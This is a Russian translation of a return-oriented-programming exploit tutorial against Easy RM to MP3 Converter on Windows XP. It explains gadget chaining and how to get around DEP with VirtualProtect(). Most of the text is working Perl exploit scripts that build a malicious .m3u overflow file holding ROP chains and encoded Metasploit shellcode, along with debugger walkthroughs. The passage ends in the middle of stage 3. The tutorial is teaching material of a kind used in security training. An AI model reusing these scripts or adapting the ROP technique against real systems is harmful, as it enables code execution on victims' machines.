Во-первых, мы должны убедиться, что 0x10026D56 запускается на выполнение. Мы находимся в самом начале нашего sploit, так что мы должны сделать так чтоб EIP указывала на инструкции RET. Найти указатель, который указывает на RET в одном из загруженных модулей и поставить этот адрес в EIP. Мы будем использовать 0x100102DC.
Когда EIP перепишется указателем на RET инстр-ю , наша прога выполнит RET и перейдет по адресу указанному в ESP (0x10026D56). Далее будет выполнено POP EAX и поместит 50505050 в EAX. RET после POP EAX (в 0x10026D57) будет прыгать на адрес, который находится на ESP в это время. Это будет 0x1002DC24 (потому 50505050 было положено в EAX первым). 0x1002DC24 является указателем, чтобы добавить EAX, 80 + POP EBX + RET, так что в следующем гаджет будет ADD 0x80 к 50505050.
Наш пример sploit будет выглядеть следующим образом:
Code: Perl
#ROP based exploit for Easy RM to MP3 Converter
#written by corelanc0d3r - http://www.corelan.be
my $file= "rop.m3u";
my $buffersize = 26094;
my $junk = "A" x $buffersize;
my $eip=pack('V',0x100102DC); #pointer to RET
my $junk2 = "AAAA"; #compensate, to make sure ESP points at first rop gadget
my $rop = pack('V',0x10026D56); #POP EAX + RET (gadget 1)
$rop = $rop . pack('V',0x50505050); #this will be popped into EAX
$rop = $rop . pack('V',0x1002DC24); #ADD EAX,80 + POP EBX + RET (gadget 2)
$rop = $rop . pack('V',0xDEADBEEF); #this will be popped into EBX
my $rest = "C" x 1000;
my $payload = $junk.$eip.$junk2.$rop.$rest;
print "Payload size: ".length($payload)."n";
open($FILE,">$file");
print $FILE $payload;
close($FILE);
print "m3u File $file Created successfullyn";
Прикрепите отладчик к Easy RM в MP3 Converter и установите точку останова на 0x100102DC. Запустите приложение и загрузите файл m3u:

Когда точки останова сработает, EIP указывает на нашу инструкцию RETN. Инструкция RET перейдет по адресу находящийся в ESP - 0x10026D56
Пройдитесь по коду клавишей F7 и посмотрите как это дело все работает
Прямо перед последним RETN, мы должны увидеть это:

Как вы можете видеть, мы выполнили инструкции без выполнения кода непосредственно из стека. Мы приковали существующие инструкции друг за другом, что является сущностью ROP.
Убедитесь, что вы понимаете концепцию цепочки, прежде чем продолжить.
Поиск ROP гаджетов
Есть несколько способов к поиска гаджетов, которые помогут вам построить ROP цепочку:
Вы можете поискать иструкции которые вам нужны в памяти процесса и загруженных им модулях , потом посмотреть есть ли за ними инструкция RET или вы можете поискать сразу инструкцию RET , а затем посмотреть какие идут инструкции до RET
Для того, чтобы сделать вашу жизнь немного легче, я написал функцию в mona.py, которая будет искать все RET и т.д
Пример поиска:

Плагин содержит и другие функции для работы и поиска ROP гаджетов , наберите в командной строке !mona и вы увидете все функции которые поддерживает плагин.
Видео -> https://www.youtube.com/watch?v=y2zrEAwmdws
Link -> https://www.corelan.be/index.php/201...py-the-manual/
Тест, прежде чем начать
Перед тем как строить ROP цепь, я убедился, что вызов VirtualProtect() приведет к желаемому результату. Самый простой способ сделать это, это вручную изменть параметры в стеке нужной нам функции внутри отладчика:
- сделать EIP точку вызова функции VirtualProtect(). На XP SP3, эта функция может быть найдена - 0x7C801AD4
- вручную выставить нужные аргументы для VirtualProtect() в стеке
- поместить шеллкод в стек
- запустить функцию.
Для того, чтобы облегчить этот простой тест, мы будем использовать следующий sploit script:
Code: Perl
#ROP based exploit for Easy RM to MP3 Converter
#written by corelanc0d3r - http://www.corelan.be
my $file= "rop.m3u";
my $buffersize = 26094;
my $junk = "Z" x $buffersize;
my $eip=pack('V',0x7C801AD4); #pointer to VirtualProtect
my $junk2 = "AAAA"; #compensate
my $params=pack('V',0x01010101); #return address
$params = $params."XXXX"; #lpAddress
$params = $params."YYYY"; #Size - Shellcode length
$params = $params."ZZZZ"; #flNewProtect
$params = $params.pack('V',0x10035005); #writeable address
# ./msfpayload windows/messagebox
# TITLE=CORELAN TEXT="rop test by corelanc0d3r" R
# | ./msfencode -e x86/alpha_mixed -t perl
my $shellcode =
"\x89\xe0\xda\xcf\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a\ x4a\x4a" .
"\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\ x52\x59" .
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\ x32\x41" .
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\ x41\x42" .
"\x75\x4a\x49\x48\x59\x48\x6b\x4f\x6b\x48\x59\x43\ x44\x51" .
"\x34\x4c\x34\x50\x31\x48\x52\x4f\x42\x42\x5a\x46\ x51\x49" .
"\x59\x45\x34\x4e\x6b\x51\x61\x44\x70\x4e\x6b\x43\ x46\x46" .
"\x6c\x4c\x4b\x42\x56\x45\x4c\x4c\x4b\x42\x66\x43\ x38\x4c" .
"\x4b\x51\x6e\x45\x70\x4e\x6b\x50\x36\x44\x78\x42\ x6f\x45" .
"\x48\x44\x35\x4c\x33\x50\x59\x43\x31\x4a\x71\x4b\ x4f\x48" .
"\x61\x43\x50\x4c\x4b\x50\x6c\x51\x34\x46\x44\x4e\ x6b\x47" .
"\x35\x45\x6c\x4c\x4b\x42\x74\x43\x35\x42\x58\x46\ x61\x48" .
"\x6a\x4e\x6b\x51\x5a\x45\x48\x4e\x6b\x42\x7a\x47\ x50\x47" .
"\x71\x48\x6b\x4a\x43\x45\x67\x42\x69\x4e\x6b\x47\ x44\x4e" .
"\x6b\x46\x61\x48\x6e\x46\x51\x49\x6f\x45\x61\x49\ x50\x49" .
"\x6c\x4e\x4c\x4d\x54\x49\x50\x50\x74\x45\x5a\x4b\ x71\x48" .
"\x4f\x44\x4d\x47\x71\x4b\x77\x48\x69\x48\x71\x49\ x6f\x49" .
"\x6f\x4b\x4f\x45\x6b\x43\x4c\x47\x54\x44\x68\x51\ x65\x49" .
"\x4e\x4e\x6b\x50\x5a\x45\x74\x46\x61\x48\x6b\x50\ x66\x4e" .
"\x6b\x46\x6c\x50\x4b\x4c\x4b\x51\x4a\x45\x4c\x45\ x51\x4a" .
"\x4b\x4e\x6b\x43\x34\x4c\x4b\x43\x31\x4a\x48\x4d\ x59\x42" .
"\x64\x51\x34\x47\x6c\x45\x31\x4f\x33\x4f\x42\x47\ x78\x44" .
"\x69\x49\x44\x4f\x79\x4a\x45\x4e\x69\x4a\x62\x43\ x58\x4e" .
"\x6e\x42\x6e\x44\x4e\x48\x6c\x43\x62\x4a\x48\x4d\ x4c\x4b" .
"\x4f\x4b\x4f\x49\x6f\x4d\x59\x42\x65\x43\x34\x4f\ x4b\x51" .
"\x6e\x48\x58\x48\x62\x43\x43\x4e\x67\x47\x6c\x45\ x74\x43" .
"\x62\x49\x78\x4e\x6b\x4b\x4f\x4b\x4f\x49\x6f\x4f\ x79\x50" .
"\x45\x45\x58\x42\x48\x50\x6c\x42\x4c\x51\x30\x4b\ x4f\x51" .
"\x78\x50\x33\x44\x72\x44\x6e\x51\x74\x50\x68\x42\ x55\x50" .
"\x73\x42\x45\x42\x52\x4f\x78\x43\x6c\x47\x54\x44\ x4a\x4c" .
"\x49\x4d\x36\x50\x56\x4b\x4f\x43\x65\x47\x74\x4c\ x49\x48" .
"\x42\x42\x70\x4f\x4b\x49\x38\x4c\x62\x50\x4d\x4d\ x6c\x4e" .
"\x67\x45\x4c\x44\x64\x51\x42\x49\x78\x51\x4e\x49\ x6f\x4b" .
"\x4f\x49\x6f\x42\x48\x42\x6c\x43\x71\x42\x6e\x50\ x58\x50" .
"\x68\x47\x33\x42\x6f\x50\x52\x43\x75\x45\x61\x4b\ x6b\x4e" .
"\x68\x51\x4c\x47\x54\x47\x77\x4d\x59\x4b\x53\x50\ x68\x51" .
"\x48\x47\x50\x51\x30\x51\x30\x42\x48\x50\x30\x51\ x74\x50" .
"\x33\x50\x72\x45\x38\x42\x4c\x45\x31\x50\x6e\x51\ x73\x43" .
"\x58\x50\x63\x50\x6f\x43\x42\x50\x65\x42\x48\x47\ x50\x43" .
"\x52\x43\x49\x51\x30\x51\x78\x43\x44\x42\x45\x51\ x63\x50" .
"\x74\x45\x38\x44\x32\x50\x6f\x42\x50\x51\x30\x46\ x51\x48" .
"\x49\x4c\x48\x42\x6c\x47\x54\x44\x58\x4d\x59\x4b\ x51\x46" .
"\x51\x48\x52\x51\x42\x46\x33\x50\x51\x43\x62\x49\ x6f\x4e" .
"\x30\x44\x71\x49\x50\x50\x50\x4b\x4f\x50\x55\x45\ x58\x45" .
"\x5a\x41\x41";
my $nops = "x90" x 200;
my $rest = "C" x 300;
my $payload = $junk.$eip.$junk2.$params.$nops.$shellcode.$rest;
print "Payload size: ".length($payload)."n";
print "Shellcode size: ".length($shellcode)."n";
open($FILE,">$file");
print $FILE $payload;
close($FILE);
print "m3u File $file Created successfullyn";
С помощью этого скрипта мы будем переписывать EIP с указателем на VirtualProtect() - 0x7C801AD4, и мы будем ставить 5 необходимых параметров на вершине стека, а затем некоторые NOP-ы, и MessageBox шеллкод.
LpAddress, Size и flNewProtect параметры задаются как «XXXX», «YYYY» и «ZZZZ". Мы вручную изменим их через несколько минут.
Создайте файл m3u, откройте в Immunity Debugger и установите точку останова - 0x7C801AD4. Запустите приложение, откройте файл m3u и убедитесь, что breakpoint сработал:

На вершине стека мы должны увидеть наши 5 параметров:

Прокрутите вниз, пока вы не увидите начало шеллкода:

Принять к сведению базовый адрес шеллкода (0010F80C в моем случае) и прокрутите вниз, чтобы убедиться, что весь Шеллкод был помещен в стек.
Теперь вручную отредактируйте параметры в стеке чтобы проверить будет ли вызов VirtualProtect работать.
Во-первых, измените значение - 0010F730 (return address) и установите его на адрес шеллкода (0010F80C).

Затем измените значение - 0010F734 (Адрес, в настоящее время содержащей 58585858), и установите его в 0010F80C (опять же, адрес, где ваш шеллкод проживает)

Затем измените значение - 0010F738 (Size, в настоящее время содержащее 59595959) и установите его в размер шеллкода. Я просто возьму 700 байт (чтобы быть на безопасной стороне), что соответствует 0x2BC
.png)
Наконец, измените значение - 0010F73C (NewProtect) и установите его в 0x40:
После внесения изменений, стек выглядит так:

Нажмите клавишу F7 один раз и посмотрите как переход к VirtualProtect() производится.

Пройдите все инструкции клавишей-(F7), пока вы не достигнете инструкцию RETN 10 ( 0x7C801AED).
В тот момент, стек содержит следующее:

RET сделает прыжок в наш шеллкод и выполнит его (если все прошло хорошо).
Нажмите клавишу F9:

Pwned.
Everybody stay cool, this is a roppery
Если вы надеялись на некоторые общую кострукцию по созданию ROP цепей, то я должен вас разочаровать. Там нет такого понятия,. ROP цепь является результатом какого-то творчества, проб и ошибок.
Единственное, что может приблизиться к возможной "более или менее общей" ROP структуре, может выглядеть примерно так (работает хорошо для меня):

Давайте начнем - по-настоящему
Этап 1: сохраненить указатель стека и прыгать по параметрам
2-ва наших параметра функции VirtualProtect() должны указывать на наш шеллкод. (Return address и lpAddress). Поскольку шеллкод помещается в стек, самый простой способ выполнить его, это взять текущий указатель из стека и сохранить его в регистр. Это имеет 3 преимущества:
- Вы можете легко добавить / отнять значение в этом регистре, чтобы он указывал на ваш шеллкоде. Инструкции ADD, SUB, INC, DEC довольно распространены
- Начальные значение точки довольно близко по адресу в стеке, где находится указатель на VirtualProtect() . Мы можем воспользоваться этим в ROP цепи, когда мы должны вернуться назад и вызвать VirtualProtect()
- Это значение также близко к месту в стеке к параметру заполнителю . Что может сделать его легким для использования "mov dword ptr ds:[register+offset],register" инструкции для перезаписи параметра заполнителя.
Сохраненить указатель стека можно сделать разными путями: MOV REG, ESP / PUSH ESP + POP REG, и т.д.
Вы заметите, что MOV REG, ESP не является хорошим выбором, потому что очень вероятно, что внутри одного гаджета, REG будет извлекается снова, таким образом, снова перезапишется указатель стека .
После быстрого поиска в rop.txt, я нашел это:
Code:
0x5AD79277: # PUSH ESP # MOV EAX,EDX # POP EDI # RETN [Module: uxtheme.dll]
(Прим.ред.: На моей VM_WinXP_XP3 эту конструкцию я нашел в [comctl32.dll] по адресу - 0x7743802d , выполнив команду -- !mona rop -m * -- )
Так, еще один быстрый поиск в rop.txt дает нам это:
Code:
0x77C1E842: {POP} # PUSH EDI # POP EAX # POP EBP # RETN [Module: msvcrt.dll]
Это позволит сохранить тот же указатель стека в EAX, а также. Обратите внимание на инструкции POP EBP. Нам нужно будет добавить некоторое дополнение, чтобы компенсировать этой командой.
Я хотел бы избежать написания слишком много гаджетов , это может усложнить перезапись параметров заполнителей . Так что осталось сделать небольшой прыжок
Самый простой способ сделать это, добавив некоторые байты к ESP, и RET ...:
Code:
0x1001653D: # ADD ESP,20 # RETN [Module: MSRMfilter03.dll]
Пока наш exploit сценарий выглядит следующим образом:
Code: Perl
#------------------------------------------------------------
#ROP based exploit for Easy RM to MP3 Converter
#written by corelanc0d3r - http://www.corelan.be
#------------------------------------------------------------
my $file= "rop.m3u";
my $buffersize = 26094;
my $junk = "Z" x $buffersize;
my $eip=pack('V',0x100102DC); #return to stack
my $junk2 = "AAAA"; #compensate
#------Put stack pointer in EDI & EAX------------------------#
my $rop=pack('V',0x5AD79277); #PUSH ESP, POP EDI
$rop = $rop.pack('V',0x77C1E842); #PUSH EDI, POP EAX
$rop=$rop."AAAA"; #compensate for POP EBP
#stack pointer is now in EAX & EDI, now jump over parameters
$rop=$rop.pack('V',0x1001653D); #ADD ESP,20
#-------Parameters for VirtualProtect()----------------------#
my $params=pack('V',0x7C801AD4); #VirtualProtect()
$params = $params."WWWW"; #return address (param1)
$params = $params."XXXX"; #lpAddress (param2)
$params = $params."YYYY"; #Size (param3)
$params = $params."ZZZZ"; #flNewProtect (param4)
$params = $params.pack('V',0x10035005); #writeable address
$params=$params.("H" x 8); #padding
# ADD ESP,20 + RET will land here
#
my $rop2 = "JJJJ";
#
my $nops = "x90" x 240;
#
#
# ./msfpayload windows/messagebox
# TITLE=CORELAN TEXT="rop test by corelanc0d3r" R
# | ./msfencode -e x86/alpha_mixed -t perl
my $shellcode =
"\x89\xe0\xda\xcf\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a\ x4a\x4a" .
"\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\ x52\x59" .
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\ x32\x41" .
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\ x41\x42" .
"\x75\x4a\x49\x48\x59\x48\x6b\x4f\x6b\x48\x59\x43\ x44\x51" .
"\x34\x4c\x34\x50\x31\x48\x52\x4f\x42\x42\x5a\x46\ x51\x49" .
"\x59\x45\x34\x4e\x6b\x51\x61\x44\x70\x4e\x6b\x43\ x46\x46" .
"\x6c\x4c\x4b\x42\x56\x45\x4c\x4c\x4b\x42\x66\x43\ x38\x4c" .
"\x4b\x51\x6e\x45\x70\x4e\x6b\x50\x36\x44\x78\x42\ x6f\x45" .
"\x48\x44\x35\x4c\x33\x50\x59\x43\x31\x4a\x71\x4b\ x4f\x48" .
"\x61\x43\x50\x4c\x4b\x50\x6c\x51\x34\x46\x44\x4e\ x6b\x47" .
"\x35\x45\x6c\x4c\x4b\x42\x74\x43\x35\x42\x58\x46\ x61\x48" .
"\x6a\x4e\x6b\x51\x5a\x45\x48\x4e\x6b\x42\x7a\x47\ x50\x47" .
"\x71\x48\x6b\x4a\x43\x45\x67\x42\x69\x4e\x6b\x47\ x44\x4e" .
"\x6b\x46\x61\x48\x6e\x46\x51\x49\x6f\x45\x61\x49\ x50\x49" .
"\x6c\x4e\x4c\x4d\x54\x49\x50\x50\x74\x45\x5a\x4b\ x71\x48" .
"\x4f\x44\x4d\x47\x71\x4b\x77\x48\x69\x48\x71\x49\ x6f\x49" .
"\x6f\x4b\x4f\x45\x6b\x43\x4c\x47\x54\x44\x68\x51\ x65\x49" .
"\x4e\x4e\x6b\x50\x5a\x45\x74\x46\x61\x48\x6b\x50\ x66\x4e" .
"\x6b\x46\x6c\x50\x4b\x4c\x4b\x51\x4a\x45\x4c\x45\ x51\x4a" .
"\x4b\x4e\x6b\x43\x34\x4c\x4b\x43\x31\x4a\x48\x4d\ x59\x42" .
"\x64\x51\x34\x47\x6c\x45\x31\x4f\x33\x4f\x42\x47\ x78\x44" .
"\x69\x49\x44\x4f\x79\x4a\x45\x4e\x69\x4a\x62\x43\ x58\x4e" .
"\x6e\x42\x6e\x44\x4e\x48\x6c\x43\x62\x4a\x48\x4d\ x4c\x4b" .
"\x4f\x4b\x4f\x49\x6f\x4d\x59\x42\x65\x43\x34\x4f\ x4b\x51" .
"\x6e\x48\x58\x48\x62\x43\x43\x4e\x67\x47\x6c\x45\ x74\x43" .
"\x62\x49\x78\x4e\x6b\x4b\x4f\x4b\x4f\x49\x6f\x4f\ x79\x50" .
"\x45\x45\x58\x42\x48\x50\x6c\x42\x4c\x51\x30\x4b\ x4f\x51" .
"\x78\x50\x33\x44\x72\x44\x6e\x51\x74\x50\x68\x42\ x55\x50" .
"\x73\x42\x45\x42\x52\x4f\x78\x43\x6c\x47\x54\x44\ x4a\x4c" .
"\x49\x4d\x36\x50\x56\x4b\x4f\x43\x65\x47\x74\x4c\ x49\x48" .
"\x42\x42\x70\x4f\x4b\x49\x38\x4c\x62\x50\x4d\x4d\ x6c\x4e" .
"\x67\x45\x4c\x44\x64\x51\x42\x49\x78\x51\x4e\x49\ x6f\x4b" .
"\x4f\x49\x6f\x42\x48\x42\x6c\x43\x71\x42\x6e\x50\ x58\x50" .
"\x68\x47\x33\x42\x6f\x50\x52\x43\x75\x45\x61\x4b\ x6b\x4e" .
"\x68\x51\x4c\x47\x54\x47\x77\x4d\x59\x4b\x53\x50\ x68\x51" .
"\x48\x47\x50\x51\x30\x51\x30\x42\x48\x50\x30\x51\ x74\x50" .
"\x33\x50\x72\x45\x38\x42\x4c\x45\x31\x50\x6e\x51\ x73\x43" .
"\x58\x50\x63\x50\x6f\x43\x42\x50\x65\x42\x48\x47\ x50\x43" .
"\x52\x43\x49\x51\x30\x51\x78\x43\x44\x42\x45\x51\ x63\x50" .
"\x74\x45\x38\x44\x32\x50\x6f\x42\x50\x51\x30\x46\ x51\x48" .
"\x49\x4c\x48\x42\x6c\x47\x54\x44\x58\x4d\x59\x4b\ x51\x46" .
"\x51\x48\x52\x51\x42\x46\x33\x50\x51\x43\x62\x49\ x6f\x4e" .
"\x30\x44\x71\x49\x50\x50\x50\x4b\x4f\x50\x55\x45\ x58\x45" .
"\x5a\x41\x41";
my $rest = "C" x 300;
my $payload = $junk.$eip.$junk2.$rop.$params.$rop2.$nops.$shellc ode.$rest;
print "Payload size: ".length($payload)."n";
print "Shellcode size: ".length($shellcode)."n";
open($FILE,">$file");
print $FILE $payload;
close($FILE);
print "m3u File $file Created successfullyn";
Установите точку останова на 0x100102DC, откройте файл и подождите, пока точка останова сработает.
Когда точка останова сработает, посмотрите на стек. Вы должны увидеть вашу мини ROP-цепь, а затем указатель на VirtualProtect и его параметры (заполнители), и то место, где мы должны оказаться в конечном итоге после изменения ESP

В конечном итоге: 4A4A4A4A in EIP (JJJJ = my $rop2)
Понял? Давай продолжим.
Этап 2: разработка первого параметра (адрес возврата)
Теперь мы будем работать над созданием первого параметра и перезаписи заполнителя для первого параметра в стеке.
Первый параметр должен указывать на шеллкод. Этот параметр будет использоваться в качестве return address для функции VirtualProtect(), так что эта функция отметит страницу как исполняемую и автоматически перейдет к ней.
Где наш шеллкод? Ну, прокрутите вниз по мнению стека. Сразу после nops, вы увидите шелл-код.
План заключается в использовании EAX или EDI (оба содержат значение в стеке), и увеличить их, оставляя достаточно места для будущих гаджетов ROP.
Измененить значения так же легко, как добавить байт в регистр. Предположим, мы хотим использовать EAX, мы можем поискать ROP гаджеты, которые могли бы сделать ADD EAX,<некоторого значения> + RET
Возможный гаджет:
Code:
0x1002DC4C: # ADD EAX,100 # POP EBP # RETN [Module: MSRMfilter03.dll]
Далее, мы должны записать это значение в стек, переписав заполнитель (который в настоящее время содержит "WWWW" или 57575757).
Как мы можем это сделать ?
Самый простой способ, это посмотреть на MOV DWORD PTR DS:[register],EAX.Можем ли мы сделать чтоб [register] указывал на адрес где находится заполнитель , тогда мы бы закончили перезапись с содержанием EAX (= указатель на шеллкод)
Возможный указатель будет такой:
Code:
0x77E84115: # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN [Module: RPCRT4.dll]
Для того, чтобы сделать эту работу, мы должны поставить указатель на заполнитель-0x10 в ESI. После того как значение записанно, мы будем иметь указатель на заполнитель в EAX (MOV EAX, ESI), что хорошо ... мы могли бы повторно использовать его в дальнейшем. Далее, нам необходимо вставить некоторое дополнение, чтобы компенсировать инструкции POP ESI.
Совет: скачайте утилиты Unix (часть из самых важных утилит GNU, для Win32). Таким образом, можно использовать Cat & Grep чтоб искать хорошие гаджеты:
cat rop.txt | grep "MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI"
Но прежде, чем мы можем использовать эту инструкцию, мы должны поставить правильное значение в ESI. У нас есть указатель на стек в EDI и EAX. EAX уже будет использоваться / изменить (указатель на Shellcode, помним), так что мы должны постараться положить EDI в ESI и затем изменить его немного, так чтоб указывал на parameter_1_placeholder - 0x10:
Code:
0x763C982F: # XCHG ESI,EDI # DEC ECX # RETN 4 [Module: comdlg32.dll]
Ввод этих 3-х вещей вместе, наш первый реальный ROP гаджет будет выглядеть следующим образом:
Пместить из EDI в ESI (и увеличить его, если это необходимо, так что бы указывало на Placeholder1(Заполнитель1)), измените значение в EAX, так что бы указывало на шеллкод, а затем переписать заполнитель.
(Примечание: Для первой операции перезаписи, ESI будет автоматически указывать на нужное место, так что нет необходимости для увеличения или уменьшения значения, ESI + 10 будет указывать на место первого параметра заполнителя.)
Между гаджетами, мы должны компенсировать дополнительные POP -ы и RETN4.
Вместе это выглядит так:
Code: Perl
#------------------------------------------------------------
#ROP based exploit for Easy RM to MP3 Converter
#written by corelanc0d3r - http://www.corelan.be
#------------------------------------------------------------
my $file= "rop.m3u";
my $buffersize = 26094;
my $junk = "Z" x $buffersize;
my $eip=pack('V',0x100102DC); #return to stack
my $junk2 = "AAAA"; #compensate
#------Put stack pointer in EDI & EAX------------------------#
my $rop=pack('V',0x5AD79277); #PUSH ESP, POP EDI
$rop = $rop.pack('V',0x77C1E842); #PUSH EDI, POP EAX
$rop=$rop."AAAA"; #compensate for POP EBP
#stack pointer is now in EAX & EDI, now jump over parameters
$rop=$rop.pack('V',0x1001653D); #ADD ESP,20
#-------Parameters for VirtualProtect()----------------------#
my $params=pack('V',0x7C801AD4); #VirtualProtect()
$params = $params."WWWW"; #return address (param1)
$params = $params."XXXX"; #lpAddress (param2)
$params = $params."YYYY"; #Size (param3)
$params = $params."ZZZZ"; #flNewProtect (param4)
$params = $params.pack('V',0x10035005); #writeable address
$params=$params.("H" x 8); #padding
# ADD ESP,20 + RET will land here
# change ESI so it points to correct location
# to write first parameter (return address)
my $rop2= pack('V',0x763C982F); # XCHG ESI,EDI # DEC ECX # RETN 4
#-----Make eax point at shellcode--------------------------
$rop2=$rop2.pack('V',0x1002DC4C); #ADD EAX,100 # POP EBP
$rop2=$rop2."AAAA"; #padding - compensate for RETN4 before
$rop2=$rop2."AAAA"; #padding
#----------------------------------------------------------
#return address is in EAX - write parameter 1
$rop2=$rop2.pack('V',0x77E84115);
$rop2=$rop2."AAAA"; #padding
#
my $nops = "x90" x 240;
#
# ./msfpayload windows/messagebox
# TITLE=CORELAN TEXT="rop test by corelanc0d3r" R
# | ./msfencode -e x86/alpha_mixed -t perl
my $shellcode =
"\x89\xe0\xda\xcf\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a\ x4a\x4a" .
"\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\ x52\x59" .
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\ x32\x41" .
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\ x41\x42" .
"\x75\x4a\x49\x48\x59\x48\x6b\x4f\x6b\x48\x59\x43\ x44\x51" .
"\x34\x4c\x34\x50\x31\x48\x52\x4f\x42\x42\x5a\x46\ x51\x49" .
"\x59\x45\x34\x4e\x6b\x51\x61\x44\x70\x4e\x6b\x43\ x46\x46" .
"\x6c\x4c\x4b\x42\x56\x45\x4c\x4c\x4b\x42\x66\x43\ x38\x4c" .
"\x4b\x51\x6e\x45\x70\x4e\x6b\x50\x36\x44\x78\x42\ x6f\x45" .
"\x48\x44\x35\x4c\x33\x50\x59\x43\x31\x4a\x71\x4b\ x4f\x48" .
"\x61\x43\x50\x4c\x4b\x50\x6c\x51\x34\x46\x44\x4e\ x6b\x47" .
"\x35\x45\x6c\x4c\x4b\x42\x74\x43\x35\x42\x58\x46\ x61\x48" .
"\x6a\x4e\x6b\x51\x5a\x45\x48\x4e\x6b\x42\x7a\x47\ x50\x47" .
"\x71\x48\x6b\x4a\x43\x45\x67\x42\x69\x4e\x6b\x47\ x44\x4e" .
"\x6b\x46\x61\x48\x6e\x46\x51\x49\x6f\x45\x61\x49\ x50\x49" .
"\x6c\x4e\x4c\x4d\x54\x49\x50\x50\x74\x45\x5a\x4b\ x71\x48" .
"\x4f\x44\x4d\x47\x71\x4b\x77\x48\x69\x48\x71\x49\ x6f\x49" .
"\x6f\x4b\x4f\x45\x6b\x43\x4c\x47\x54\x44\x68\x51\ x65\x49" .
"\x4e\x4e\x6b\x50\x5a\x45\x74\x46\x61\x48\x6b\x50\ x66\x4e" .
"\x6b\x46\x6c\x50\x4b\x4c\x4b\x51\x4a\x45\x4c\x45\ x51\x4a" .
"\x4b\x4e\x6b\x43\x34\x4c\x4b\x43\x31\x4a\x48\x4d\ x59\x42" .
"\x64\x51\x34\x47\x6c\x45\x31\x4f\x33\x4f\x42\x47\ x78\x44" .
"\x69\x49\x44\x4f\x79\x4a\x45\x4e\x69\x4a\x62\x43\ x58\x4e" .
"\x6e\x42\x6e\x44\x4e\x48\x6c\x43\x62\x4a\x48\x4d\ x4c\x4b" .
"\x4f\x4b\x4f\x49\x6f\x4d\x59\x42\x65\x43\x34\x4f\ x4b\x51" .
"\x6e\x48\x58\x48\x62\x43\x43\x4e\x67\x47\x6c\x45\ x74\x43" .
"\x62\x49\x78\x4e\x6b\x4b\x4f\x4b\x4f\x49\x6f\x4f\ x79\x50" .
"\x45\x45\x58\x42\x48\x50\x6c\x42\x4c\x51\x30\x4b\ x4f\x51" .
"\x78\x50\x33\x44\x72\x44\x6e\x51\x74\x50\x68\x42\ x55\x50" .
"\x73\x42\x45\x42\x52\x4f\x78\x43\x6c\x47\x54\x44\ x4a\x4c" .
"\x49\x4d\x36\x50\x56\x4b\x4f\x43\x65\x47\x74\x4c\ x49\x48" .
"\x42\x42\x70\x4f\x4b\x49\x38\x4c\x62\x50\x4d\x4d\ x6c\x4e" .
"\x67\x45\x4c\x44\x64\x51\x42\x49\x78\x51\x4e\x49\ x6f\x4b" .
"\x4f\x49\x6f\x42\x48\x42\x6c\x43\x71\x42\x6e\x50\ x58\x50" .
"\x68\x47\x33\x42\x6f\x50\x52\x43\x75\x45\x61\x4b\ x6b\x4e" .
"\x68\x51\x4c\x47\x54\x47\x77\x4d\x59\x4b\x53\x50\ x68\x51" .
"\x48\x47\x50\x51\x30\x51\x30\x42\x48\x50\x30\x51\ x74\x50" .
"\x33\x50\x72\x45\x38\x42\x4c\x45\x31\x50\x6e\x51\ x73\x43" .
"\x58\x50\x63\x50\x6f\x43\x42\x50\x65\x42\x48\x47\ x50\x43" .
"\x52\x43\x49\x51\x30\x51\x78\x43\x44\x42\x45\x51\ x63\x50" .
"\x74\x45\x38\x44\x32\x50\x6f\x42\x50\x51\x30\x46\ x51\x48" .
"\x49\x4c\x48\x42\x6c\x47\x54\x44\x58\x4d\x59\x4b\ x51\x46" .
"\x51\x48\x52\x51\x42\x46\x33\x50\x51\x43\x62\x49\ x6f\x4e" .
"\x30\x44\x71\x49\x50\x50\x50\x4b\x4f\x50\x55\x45\ x58\x45" .
"\x5a\x41\x41";
my $rest = "C" x 300;
my $payload = $junk.$eip.$junk2.$rop.$params.$rop2.$nops.$shellc ode.$rest;
print "Payload size: ".length($payload)."n";
print "Shellcode size: ".length($shellcode)."n";
open($FILE,">$file");
print $FILE $payload;
close($FILE);
print "m3u File $file Created successfullyn";
Давайте пошагово в отладчике и посмотрим, что происходит после того, как добавить ESP, 20 + ret выполнится:
RET возвращается к 0x763C982F (которые ставит EDI в ESI).
В это время, регистры выглядят следующим образом:

(EAX и ESI, теперь указывают на сохраненный адрес в стеке)
Этот гаджет возвращается к 0x1002DC4C, который добавит 0x100 байт EAX. Это увеличит значение в EAX = 0010F834, что указывает на NOP, до шеллкода:

Этот гаджет вернется к 0x77E84115, который будет выполнять следующие инструкции:

Он запишет в EAX (= 0x0010F834) по адресу содержащемуся в ESI + 0x10. ESI в настоящее время содержит 0x0010F734. В ESI + 10 (0x0010F744), у нас есть заполнитель для return address:

Когда инструкция MOV выполняется, мы успешно запишем наш return address (указатель на NOP,) в качестве параметра в функцию VirtualProtect():

ESI будет сохранен в EAX, и некоторые данные из стека сохраняется в ESI.
Этап 3: разработка второго параметра (lpAddress)
Второй параметр должен указывать на место, которое должно быть отмечено как исполняемое. Мы просто используем тот же указатель, который использовался для первого параметра.
Это означает, что мы можем - более или менее - повторить всю последовательность из стадии 2, но прежде чем мы сможем это сделать, мы должны сбросить наши начальные значения.
В текущий момент, EAX все еще содержит первоначально сохраненный указатель стека. Мы должны положить его обратно в ESI. Таким образом, мы должны найти гаджет, который будет делать что-то вроде этого: PUSH EAX, POP ESI, RET
Code:
0x775D131E: # PUSH EAX # POP ESI # RETN [Module: ole32.dll]
Затем, мы должны увеличить значение в EAX снова (добавить 0x100). Мы можем снова использовать тот же гаджет, который использовался чтобы генерировать значение параметра1: 0x1002DC4C (ADD EAX, 100 # POP EBP # RET)
